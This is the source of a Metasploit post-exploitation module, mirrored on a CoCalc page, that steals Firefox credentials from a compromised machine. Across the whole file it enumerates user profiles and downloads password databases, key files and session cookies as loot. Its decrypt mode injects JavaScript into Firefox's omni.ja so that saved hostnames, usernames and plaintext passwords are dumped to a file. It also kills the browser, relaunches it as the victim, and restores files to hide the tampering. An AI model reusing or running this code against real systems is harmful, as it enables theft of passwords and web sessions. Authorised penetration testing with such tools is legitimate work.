CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/firefox_creds.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
#
7
# Standard Library
8
#
9
require 'tmpdir'
10
11
#
12
# Gems
13
#
14
require 'zip'
15
16
#
17
# Project
18
#
19
20
class MetasploitModule < Msf::Post
21
include Msf::Post::File
22
include Msf::Auxiliary::Report
23
include Msf::Post::Windows::UserProfiles
24
25
def initialize(info = {})
26
super(
27
update_info(
28
info,
29
'Name' => 'Multi Gather Firefox Signon Credential Collection',
30
'Description' => %q{
31
This module will collect credentials from the Firefox web browser if it is
32
installed on the targeted machine. Additionally, cookies are downloaded. Which
33
could potentially yield valid web sessions.
34
35
Firefox stores passwords within the signons.sqlite database file. There is also a
36
keys3.db file which contains the key for decrypting these passwords. In cases where
37
a Master Password has not been set, the passwords can easily be decrypted using
38
3rd party tools or by setting the DECRYPT option to true. Using the latter often
39
needs root privileges. Also be warned that if your session dies in the middle of the
40
file renaming process, this could leave Firefox in a non working state. If a
41
Master Password was used the only option would be to bruteforce.
42
43
Useful 3rd party tools:
44
+ firefox_decrypt (https://github.com/Unode/firefox_decrypt)
45
+ pswRecovery4Moz (https://github.com/philsmd/pswRecovery4Moz)
46
},
47
'License' => MSF_LICENSE,
48
'Author' => [
49
'bannedit',
50
'xard4s', # added decryption support
51
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
52
],
53
'Platform' => %w[bsd linux osx unix win],
54
'SessionTypes' => ['meterpreter', 'shell' ],
55
'Compat' => {
56
'Meterpreter' => {
57
'Commands' => %w[
58
core_channel_close
59
core_channel_eof
60
core_channel_open
61
core_channel_read
62
core_channel_tell
63
core_channel_write
64
stdapi_fs_stat
65
stdapi_sys_config_getenv
66
stdapi_sys_config_getuid
67
stdapi_sys_process_get_processes
68
stdapi_sys_process_kill
69
]
70
}
71
}
72
)
73
)
74
75
register_options([
76
OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
77
])
78
79
register_advanced_options([
80
OptInt.new('DOWNLOAD_TIMEOUT', [true, 'Timeout to wait when downloading files through shell sessions', 20]),
81
OptBool.new('DISCLAIMER', [false, 'Acknowledge the DECRYPT warning', false]),
82
OptBool.new('RECOVER', [false, 'Attempt to recover from bad DECRYPT when possible', false])
83
])
84
end
85
86
def run
87
# Certain shells for certain platform
88
vprint_status('Determining session platform and type')
89
case session.platform
90
when 'unix', 'linux', 'bsd'
91
@platform = :unix
92
when 'osx'
93
@platform = :osx
94
when 'windows'
95
if session.type != 'meterpreter'
96
print_error 'Only meterpreter sessions are supported on Windows hosts'
97
return
98
end
99
@platform = :windows
100
else
101
print_error("Unsupported platform: #{session.platform}")
102
return
103
end
104
105
if datastore['DECRYPT']
106
do_decrypt
107
else # Non DECRYPT
108
paths = enum_users
109
110
if paths.nil? || paths.empty?
111
print_error('No users found with a Firefox directory')
112
return
113
end
114
115
download_loot(paths.flatten)
116
end
117
end
118
119
def do_decrypt
120
unless datastore['DISCLAIMER']
121
decrypt_disclaimer
122
return
123
end
124
125
omnija = nil # non meterpreter download
126
org_file = 'omni.ja' # key file
127
new_file = Rex::Text.rand_text_alpha(rand(5..7)) + '.ja'
128
temp_file = 'orgomni.ja' # backup of key file
129
130
# Sets @paths
131
return unless decrypt_get_env
132
133
# Check target for the necessary files
134
if session.type == 'meterpreter'
135
if session.fs.file.exist?(@paths['ff'] + temp_file) && !session.fs.file.exist?(@paths['ff'] + org_file)
136
print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.")
137
return
138
elsif session.fs.file.exist?(@paths['ff'] + temp_file)
139
decrypt_file_stats(temp_file, org_file, @paths['ff'])
140
if datastore['RECOVER']
141
return unless decrypt_recover_omni(temp_file, org_file)
142
else
143
print_warning('If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.')
144
return
145
end
146
elsif !session.fs.file.exist?(@paths['ff'] + org_file)
147
print_error("Could not download #{org_file}. File does not exist.")
148
return
149
end
150
end
151
152
session.type == 'meterpreter' ? (size = format('(%s MB)', '%0.2f') % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = '')
153
tmp = Dir.tmpdir + '/' + new_file # Cross platform local tempdir, "/" should work on Windows too
154
print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size)
155
156
if session.type == 'meterpreter' # If meterpreter is an option, lets use it!
157
session.fs.file.download_file(tmp, @paths['ff'] + org_file)
158
else # Fall back shells
159
omnija = read_file(@paths['ff'] + org_file)
160
if omnija.nil? || omnija.empty? || omnija =~ (/No such file/i)
161
print_error("Could not download: #{@paths['ff'] + org_file}")
162
print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != 'meterpreter'
163
return
164
end
165
166
print_status("Saving #{org_file} to: #{tmp}")
167
file_local_write(tmp, omnija)
168
end
169
170
res = nil
171
print_status("Injecting into: #{tmp}")
172
begin
173
# Automatically commits the changes made to the zip archive when the block terminates
174
Zip::File.open(tmp) do |zip_file|
175
res = decrypt_modify_omnija(zip_file)
176
end
177
rescue Zip::Error
178
print_error("Error modifying: #{tmp}")
179
return
180
end
181
182
if res
183
vprint_good("Successfully modified: #{tmp}")
184
else
185
print_error('Failed to inject')
186
return
187
end
188
189
print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}")
190
print_warning('This may take some time...') if %i[unix osx].include?(@platform)
191
192
if session.type == 'meterpreter'
193
session.fs.file.upload_file(@paths['ff'] + new_file, tmp)
194
else
195
unless upload_file(@paths['ff'] + new_file, tmp)
196
print_error("Could not upload: #{tmp}")
197
return
198
end
199
end
200
201
return unless decrypt_trigger_decrypt(org_file, new_file, temp_file)
202
203
decrypt_download_creds
204
end
205
206
def decrypt_disclaimer
207
print_line
208
print_warning('Decrypting the keys causes the remote Firefox process to be killed.')
209
print_warning('If the user is paying attention, this could make them suspicious.')
210
print_warning('In order to proceed, set the advanced option, DISCLAIMER, to TRUE.')
211
print_line
212
end
213
214
def decrypt_file_stats(temp_file, org_file, _path)
215
print_line
216
print_error("Detected #{temp_file} already on the target. This could possible a possible backup of the original #{org_file} from a bad DECRYPT attack.")
217
print_status("Size: #{session.fs.file.stat(@paths['ff'] + org_file).size}B (#{org_file})")
218
print_status("Size: #{session.fs.file.stat(@paths['ff'] + temp_file).size}B (#{temp_file})")
219
print_status("#{org_file} : Created- #{session.fs.file.stat(@paths['ff'] + org_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + org_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + org_file).mtime}")
220
print_status("#{temp_file}: Created- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + temp_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime}")
221
print_line
222
end
223
224
def decrypt_recover_omni(temp_file, org_file)
225
print_status("Restoring: #{@paths['ff'] + temp_file} (Possible backup)")
226
file_rm(@paths['ff'] + org_file)
227
rename_file(@paths['ff'] + temp_file, @paths['ff'] + org_file)
228
229
if session.type == 'meterpreter'
230
print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exist?(@paths['ff'] + temp_file)
231
232
unless session.fs.file.exist?(@paths['ff'] + org_file)
233
print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}")
234
return false
235
end
236
end
237
238
true
239
end
240
241
def enum_users
242
paths = []
243
id = whoami
244
245
if id.nil? || id.empty?
246
print_error("Session #{datastore['SESSION']} is not responding")
247
return
248
end
249
250
if @platform == :windows
251
vprint_status('Searching every possible account on the target system')
252
grab_user_profiles.each do |user|
253
next if user['AppData'].nil?
254
255
dir = check_firefox_win(user['AppData'])
256
paths << dir if dir
257
end
258
else # unix, bsd, linux, osx
259
@platform == :osx ? (home = '/Users/') : (home = '/home/')
260
261
if got_root
262
vprint_status('Detected ROOT privileges. Searching every account on the target system.')
263
userdirs = "/root\n"
264
userdirs << cmd_exec("find #{home} -maxdepth 1 -mindepth 1 -type d 2>/dev/null")
265
else
266
vprint_status("Checking #{id}'s Firefox account")
267
userdirs = "#{home + id}\n"
268
end
269
270
userdirs.each_line do |dir|
271
dir.chomp!
272
next if (dir == '.') || (dir == '..') || dir =~ (/No such file/i)
273
274
@platform == :osx ? (basepath = "#{dir}/Library/Application Support/Firefox/Profiles") : (basepath = "#{dir}/.mozilla/firefox")
275
276
print_status("Checking for Firefox profile in: #{basepath}")
277
checkpath = cmd_exec('find ' + basepath.gsub(/ /, '\\ ') + ' -maxdepth 1 -mindepth 1 -type d 2>/dev/null')
278
279
checkpath.each_line do |ffpath|
280
ffpath.chomp!
281
if ffpath =~ /\.default(?:-release)?$/
282
vprint_good("Found profile: #{ffpath}")
283
paths << ffpath.to_s
284
end
285
end
286
end
287
end
288
return paths
289
end
290
291
def check_firefox_win(path)
292
paths = []
293
ffpath = []
294
path += '\\Mozilla\\'
295
print_status("Checking for Firefox profile in: #{path}")
296
297
stat = begin
298
session.fs.file.stat(path + 'Firefox\\profiles.ini')
299
rescue StandardError
300
nil
301
end
302
if !stat
303
print_error('Firefox was not found (Missing profiles.ini)')
304
return
305
end
306
307
session.fs.dir.foreach(path) do |fdir|
308
# print_status("Found a Firefox directory: #{path + fdir}")
309
ffpath << path + fdir
310
break
311
end
312
313
if ffpath.empty?
314
print_error('Firefox was not found')
315
return
316
end
317
318
# print_status("Locating Firefox profiles")
319
path << 'Firefox\\Profiles\\'
320
321
# We should only have profiles in the Profiles directory store them all
322
begin
323
session.fs.dir.foreach(path) do |pdirs|
324
next if (pdirs == '.') || (pdirs == '..')
325
326
vprint_good("Found profile: #{path + pdirs}")
327
paths << path + pdirs
328
end
329
rescue StandardError
330
print_error('Profiles directory is missing')
331
return
332
end
333
334
paths.empty? ? nil : paths
335
end
336
337
def download_loot(paths)
338
loot = ''
339
print_line
340
341
paths.each do |path|
342
print_status("Profile: #{path}")
343
344
# win: C:\Users\administrator\AppData\Roaming\Mozilla\Firefox\Profiles\tsnwjx4g.default
345
# linux: /root/.mozilla/firefox/tsnwjx4g.default (iceweasel)
346
# osx: /Users/mbp/Library/Application Support/Firefox/Profiles/tsnwjx4g.default
347
profile = path.scan(%r{Profiles[\\|/](.+)\.(.+)$}).flatten[0].to_s
348
profile = path.scan(%r{firefox[\\|/](.+)\.(.+)$}).flatten[0].to_s if profile.empty?
349
350
session.type == 'meterpreter' ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec('find ' + path.gsub(/ /, '\\ ') + ' -maxdepth 1 -mindepth 1 -type f 2>/dev/null').gsub(%r{.*/}, '').split("\n"))
351
352
files.each do |file|
353
file.chomp!
354
next unless file =~ (/^key\d\.db$/) || file =~ (/^cert\d\.db$/) || file =~ (/^signons.sqlite$/i) || file =~ (/^cookies\.sqlite$/) || file =~ (/^logins\.json$/)
355
356
ext = file.split('.')[2]
357
ext == 'txt' ? (mime = 'plain') : (mime = 'binary')
358
vprint_status("Downloading: #{file}")
359
if @platform == :windows
360
p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, "firefox_#{file}")
361
session.fs.file.download_file(p, path + '\\' + file)
362
print_good("Downloaded #{file}: #{p}")
363
else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
364
loot = cmd_exec("cat #{path}//#{file}", nil, datastore['DOWNLOAD_TIMEOUT'])
365
if loot.nil? || loot.empty?
366
print_error("Failed to download #{file}, if the file is very long, try increasing DOWNLOAD_TIMEOUT")
367
else
368
p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
369
print_good("Downloaded #{file}: #{p}")
370
end
371
end
372
end
373
print_line
374
end
375
end
376
377
# Checks for needed privileges and if Firefox is installed
378
def decrypt_get_env
379
@paths = {}
380
check_paths = []
381
loot_file = Rex::Text.rand_text_alpha(6) + '.txt'
382
383
case @platform
384
when :windows
385
version = get_version_info
386
unless got_root || version.xp_or_2003?
387
print_warning('You may need SYSTEM privileges on this platform for the DECRYPT option to work')
388
end
389
390
env_vars = session.sys.config.getenvs('TEMP', 'SystemDrive')
391
tmpdir = env_vars['TEMP'] + '\\'
392
drive = env_vars['SystemDrive']
393
394
# This way allows for more independent use of meterpreter payload (32 and 64 bit) and cleaner code
395
check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
396
check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
397
when :unix
398
unless got_root
399
print_error('You need ROOT privileges on this platform for DECRYPT option')
400
return false
401
end
402
# Unix matches linux|unix|bsd but BSD is not supported
403
if session.platform =~ /bsd/
404
print_error('Sorry, BSD is not supported by the DECRYPT option')
405
return false
406
end
407
408
tmpdir = '/tmp/'
409
410
check_paths << '/usr/lib/firefox/'
411
check_paths << '/usr/lib64/firefox/'
412
check_paths << '/usr/lib/iceweasel/'
413
check_paths << '/usr/lib64/iceweasel/'
414
when :osx
415
tmpdir = '/tmp/'
416
check_paths << '/applications/firefox.app/contents/macos/'
417
end
418
419
@paths['ff'] = check_paths.find do |p|
420
check = p.sub(%r{(\\|/)(mozilla\s)?firefox.*}i, '')
421
vprint_status("Checking for Firefox directory in: #{check}")
422
if directory?(p.sub(%r{(\\|/)$}, ''))
423
print_good("Found Firefox directory: #{check}")
424
true
425
else
426
false
427
end
428
end
429
430
if @paths['ff'].nil?
431
print_error('No Firefox directory found')
432
return false
433
end
434
435
@paths['loot'] = tmpdir + loot_file
436
437
true
438
end
439
440
def decrypt_modify_omnija(zip)
441
# Which files to extract from ja/zip
442
files = [
443
'components/storage-mozStorage.js', # stor_js
444
'chrome/toolkit/content/passwordmgr/passwordManager.xul', # pwd_xul
445
'chrome/toolkit/content/global/commonDialog.xul', # dlog_xul
446
'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)
447
]
448
449
# Extract files from zip
450
arya = files.map do |omnija_file|
451
fdata = {}
452
begin
453
fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/
454
fdata['outs'] = zip.get_output_stream(omnija_file)
455
rescue StandardError
456
print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")
457
print_error('This could be due to a corrupt download or a unsupported Firefox/Iceweasel version')
458
return false
459
end
460
fdata
461
end
462
463
# Read contents of array (arya)
464
stor_js, pwd_xul, dlog_xul, res_js = arya
465
stor_js['outs_res'] = res_js['outs']
466
467
# Insert payload (close after starting up - allowing evil js to run and nothing else)
468
wnd_close = 'window.close();'
469
onload = "Startup(); SignonsStartup(); #{wnd_close}"
470
471
# Patch commonDialog.xul - Get rid of (possible) master password prompt
472
dlog_xul['content'].sub!(/commonDialogOnLoad\(\);/, wnd_close)
473
dlog_xul['outs'].write(dlog_xul['content'])
474
dlog_xul['outs'].close
475
vprint_good('[1/2] XUL injected - commonDialog.xul')
476
477
# Patch passwordManager.xul - Close password manager immediately
478
pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload)
479
pwd_xul['outs'].write(pwd_xul['content'])
480
pwd_xul['outs'].close
481
vprint_good('[2/2] XUL injected - passwordManager.xul')
482
483
# Patch ./components/storage-mozStorage.js - returns true or false
484
return decrypt_patch_method(stor_js)
485
end
486
487
# Patches getAllLogins() methods in ./components/storage-mozStorage.js
488
def decrypt_patch_method(stor_js)
489
data = ''
490
# Imports needed for IO
491
imports = %|Components.utils.import("resource://gre/modules/NetUtil.jsm");
492
Components.utils.import("resource://gre/modules/FileUtils.jsm");
493
Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
494
|
495
496
# Javascript code to intercept the logins array and write the credentials to a file
497
method_epilog = %|
498
var data = "";
499
var path = "#{@paths['loot'].inspect.gsub(/"/, '')}";
500
var file = new FileUtils.File(path);
501
502
var outstream = FileUtils.openSafeFileOutputStream(file);
503
var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
504
createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
505
converter.charset = "UTF-8";
506
507
if (logins.length != 0) {
508
for (var i = 0; i < logins.length; i++) {
509
data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^";
510
}
511
} else {
512
data = "no creds";
513
}
514
515
var istream = converter.convertToInputStream(data);
516
NetUtil.asyncCopy(istream, outstream);
517
518
return logins;
519
|
520
521
regex = [
522
nil, # dirty hack alert
523
[/return\slogins;/, method_epilog],
524
[%r{Components\.utils\.import\("resource://gre/modules/XPCOMUtils\.jsm"\);}, imports]
525
]
526
527
# Match the last two regular expressions
528
i = 2 # ...this is todo with the nil in the above regex array & regex command below
529
x = i
530
stor_js['content'].each_line do |line|
531
# There is no real substitution if the matching regex has no corresponding patch code
532
if i != 0 && line.sub!(regex[i][0]) do |_match|
533
if regex[i][1]
534
vprint_good("[#{x - i + 1}/#{x}] Javascript injected - ./components/storage-mozStorage.js")
535
regex[i][1]
536
end
537
end
538
i -= 1
539
end
540
data << line
541
end
542
543
# Write the same data to both output streams
544
stor_js['outs'].write(data)
545
stor_js['outs_res'].write(data)
546
stor_js['outs'].close
547
stor_js['outs_res'].close
548
549
i == 0
550
end
551
552
# Starts a new Firefox process and triggers decryption
553
def decrypt_trigger_decrypt(org_file, new_file, temp_file)
554
[org_file, new_file, temp_file].each do |f|
555
f.insert(0, @paths['ff'])
556
end
557
558
# Firefox command line arguments
559
args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'
560
561
# In case of unix-like platform Firefox needs to start under user context
562
case @platform
563
when :unix
564
# Assuming userdir /home/(x) = user
565
print_status('Enumerating users')
566
homedirs = cmd_exec('find /home -maxdepth 1 -mindepth 1 -type d 2>/dev/null').gsub(%r{.*/}, '')
567
if homedirs.nil? || homedirs.empty?
568
print_error('No normal user found')
569
return false
570
end
571
user = nil
572
# Skip home directories which contain a space, as those are likely not usernames...
573
homedirs.each_line do |homedir|
574
user = homedir.chomp
575
break unless user.index(' ')
576
end
577
578
# Since we can't access the display environment variable we have to assume the default value
579
args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
580
args << '"'
581
cmd = "su #{user} -c"
582
when :windows, :osx
583
cmd = @paths['ff'] + 'firefox'
584
# On OSX, run in background
585
args << '& sleep 5 && killall firefox' if @platform == :osx
586
end
587
588
# Check if Firefox is running and kill it
589
if session.type == 'meterpreter'
590
session.sys.process.each_process do |p|
591
next unless p['name'] =~ /firefox\.exe/
592
593
print_status('Found running Firefox process, attempting to kill.')
594
unless session.sys.process.kill(p['pid'])
595
print_error('Could not kill Firefox process')
596
return false
597
end
598
end
599
else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
600
p = cmd_exec('ps', 'cax | grep firefox')
601
if p =~ /firefox/
602
print_status('Found running Firefox process, attempting to kill.')
603
term = cmd_exec('killall', 'firefox && echo true')
604
if term !~ /true/
605
print_error('Could not kill Firefox process')
606
return false
607
end
608
end
609
end
610
sleep(1)
611
612
#
613
# Rename-fu:
614
# omni.ja (original) -> orgomni.ja (original_backup)
615
# *random*.ja (evil) -> omni.ja (original)
616
# ...start & close Firefox...
617
# omni.ja (evil) -> *random*.ja (pointless temp file)
618
# orgomni.ja (original_backup) -> omni.ja (original)
619
#
620
vprint_status('Renaming .JA files')
621
rename_file(org_file, temp_file)
622
rename_file(new_file, org_file)
623
624
# Automatic termination (window.close() - injected XUL or firefox cmd arguments)
625
print_status("Starting Firefox process to get #{whoami}'s credentials")
626
cmd_exec(cmd, args)
627
sleep(1)
628
629
# Lets just check theres something before going forward
630
if session.type == 'meterpreter'
631
i = 20
632
vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") unless session.fs.file.exist?(@paths['loot'])
633
until session.fs.file.exist?(@paths['loot'])
634
sleep 1
635
i -= 1
636
break if i == 0
637
end
638
print_error('Missing loot file. Something went wrong.') unless session.fs.file.exist?(@paths['loot'])
639
end
640
641
print_status("Restoring original .JA: #{temp_file}")
642
rename_file(org_file, new_file)
643
rename_file(temp_file, org_file)
644
645
# Clean up
646
vprint_status("Cleaning up: #{new_file}")
647
file_rm(new_file)
648
if session.type == 'meterpreter'
649
if session.fs.file.exist?(temp_file)
650
print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")
651
end
652
unless session.fs.file.exist?(org_file)
653
print_error("Unable to find #{org_file} on target. Something went wrong.")
654
end
655
end
656
657
# At this time, there should have a loot file
658
if session.type == 'meterpreter' && !session.fs.file.exist?(@paths['loot'])
659
print_error('DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.')
660
# Another issue is encoding. The files may be seen as 'data' rather than 'ascii'
661
print_error('Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)') if session.type != 'meterpreter'
662
return false
663
end
664
665
true
666
end
667
668
def decrypt_download_creds
669
print_good("Downloading loot: #{@paths['loot']}")
670
loot = read_file(@paths['loot'])
671
672
if loot =~ /no creds/
673
print_status('No Firefox credentials where found')
674
return
675
end
676
677
# Better delete the remote creds file
678
vprint_status("Cleaning up: #{@paths['loot']}")
679
file_rm(@paths['loot'])
680
681
# Create table to store
682
cred_table = Rex::Text::Table.new(
683
'Header' => 'Firefox Credentials',
684
'Indent' => 1,
685
'Columns' =>
686
[
687
'Hostname',
688
'User',
689
'Password'
690
]
691
)
692
693
creds = loot.split('^')
694
creds.each do |cred|
695
hostname, user, pass = cred.rstrip.split(' :: ')
696
cred_table << [hostname, user, pass]
697
698
# Creds API
699
service_data = {
700
workspace_id: myworkspace_id
701
}
702
703
credential_data = {
704
origin_type: :session,
705
session_id: session_db_id,
706
post_reference_name: refname,
707
smodule_fullname: fullname,
708
username: user,
709
private_data: pass,
710
private_type: :password
711
}.merge(service_data)
712
713
create_credential(credential_data)
714
end
715
716
# Create local loot csv file
717
path = store_loot(
718
'firefox.creds',
719
'text/plain',
720
session,
721
cred_table.to_csv,
722
'firefox_credentials.txt',
723
'Firefox Credentials'
724
)
725
vprint_good("Saved loot: #{path}")
726
727
# Display out
728
vprint_line("\n" + cred_table.to_s)
729
end
730
731
def got_root
732
case @platform
733
when :windows
734
session.sys.config.getuid =~ /SYSTEM/ ? true : false
735
else # unix, bsd, linux, osx
736
id_output = cmd_exec('id').chomp
737
if id_output.blank?
738
# try an absolute path
739
id_output = cmd_exec('/usr/bin/id').chomp
740
end
741
id_output.include?('uid=0(') ? true : false
742
end
743
end
744
745
def whoami
746
if @platform == :windows
747
id = session.sys.config.getenv('USERNAME')
748
else
749
id = cmd_exec('id -un')
750
end
751
752
id
753
end
754
end
755
756